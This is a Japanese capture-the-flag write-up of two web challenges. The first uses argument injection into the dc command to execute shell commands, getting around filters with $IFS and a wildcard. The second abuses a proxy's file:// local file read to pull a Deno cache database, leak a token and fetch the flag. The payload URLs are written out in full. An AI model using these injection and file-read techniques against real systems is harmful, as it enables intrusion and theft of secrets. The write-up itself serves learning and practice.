[web] sequence_gallery
sequence = request.args.get('sequence', None) if sequence is None: return render_template('index.html') script_file = os.path.basename(sequence + '.dc') if ' ' in script_file or 'flag' in script_file: return ':(' proc = subprocess.run( ['dc', script_file], capture_output=True, text=True, timeout=1, ) output = proc.stdout
こんな感じでファイル名が与えると、指定のdcファイルを持ってきてdcコマンドで実行してくれるサイトが与えられる。
flag.txtというのを読み取ればクリア。
subprocess.runではscript_fileとして引数を渡しているが、オプションを入れ込むことができるように見える。
Man page of DCを見ながら使えそうなものを探してみる。
色々試すと--expression
というのがあり、任意のdcスクリプトを差し込むことができた。
script_fileに--expression=3\n4\n*p
とすると12が表示される。
dcスクリプトでは!を使えばコマンド実行もでき、http://sequence-gallery.chal.crewc.tf:8080/?sequence=--expression=!id;
とするとidコマンドが実行された。
ok. あともうちょっと。
空白が使えないので何とかする必要があるが、空白の代わりに$IFSを使うテクを使えばbypass可能。
flagが使えないのはアスタリスクで適当に回避して、以下でフラグが得られる。
http://sequence-gallery.chal.crewc.tf:8080/?sequence=--expression=!cat$IFS*.txt;
[web] safe_proxy
webサーバとflag_providerサーバがあり、前者だけ外部公開されている。
webサーバ側では
const { FLAG } = await import(`http://${PROVIDER_HOST}/?token=${PROVIDER_TOKEN}`);
のようにflag_providerサーバからフラグをもらってきていて、FLAGのsha256ハッシュのみ出力される。
なお、それ以降は権限がはく奪され、flag_providerサーバにはアクセスできない。
代わりに任意のURLを取得することができるエンドポイント/proxy
が与えられるが、
deno起動時に--allow-net="0.0.0.0:8080,$PROVIDER_HOST"
というポリシーが設定されているので注意。
最初はdenoのバージョンがちょっと古かったので脆弱性とかissueとか探していたが、これはrabbit hole.
フラグの読み込みをimportで行っている部分を怪しむのが正答へのパスだった。
importで読み込んでいる所に何かミソがあるか?と思って色々検索してみると以下を見つける。
Deno を始める - 第2回 (外部ライブラリの利用) | 豆蔵デベロッパーサイト
importで読み込むと、DENO_DIRに対応するディレクトリにダウンロードされてキャッシュされるっぽい。
これは使えそう。LFIができれば、ここからフラグを持ってこれそう。
とりあえずLFIができるかであるが、/proxy
とfile:///を使えばあっさり取得できた。
http://safe-proxy-web.chal.crewc.tf:8083/proxy?url=file:///home/app/run.sh
でrun.shが取れてくる。
cacheの場所はdeno info
でみられるっぽい。
$ deno info DENO_DIR location: /home/app/.cache/deno Remote modules cache: /home/app/.cache/deno/deps npm modules cache: /home/app/.cache/deno/npm Emitted modules cache: /home/app/.cache/deno/gen Language server registries cache: /home/app/.cache/deno/registries Origin storage: /home/app/.cache/deno/location_data
/home/app/.cache/deno
を色々探索してみると、dep_analysis_cache_v1にメタデータが詰まっていることが分かる。
http://safe-proxy-web.chal.crewc.tf:8083/proxy?url=file:///home/app/.cache/deno/dep_analysis_cache_v1
から落としてくる。
proxy: SQLite 3.x database, last written using SQLite version 3039002, file counter 126, database pages 46, cookie 0x2, schema 4, UTF-8, version-valid-for 126
SQLiteのdbファイルだった。
$ sqlitebrowser proxy
ブラウザで適当に探すと、importで取得したときのURLが丸々手に入った!
http://safe-proxy-flag-provider:8082/?token=5a35327045b0ec9159cc188f643e347f
トークンが漏洩。読込URL全体を取得することができた。
色々巡回すると、/home/app/.cache/deno/deps/以降にキャッシュが置かれるっぽいがパスが分からない。
どうしようか迷ったが、トークンが分かれば適当に動かしてみてハッシュが作れそうだったので、雑に動くように環境を合わせてパスを特定した。
/home/app/.cache/deno/deps/http/safe-proxy-flag-provider_PORT8082/70ec621b0141f80c80d9e26b084da38df4bbf6b4b64d04c837f7b3cd5fe8482b
同じようにハッシュが付いていますように…と祈りながらLFIするとフラグがもらえる。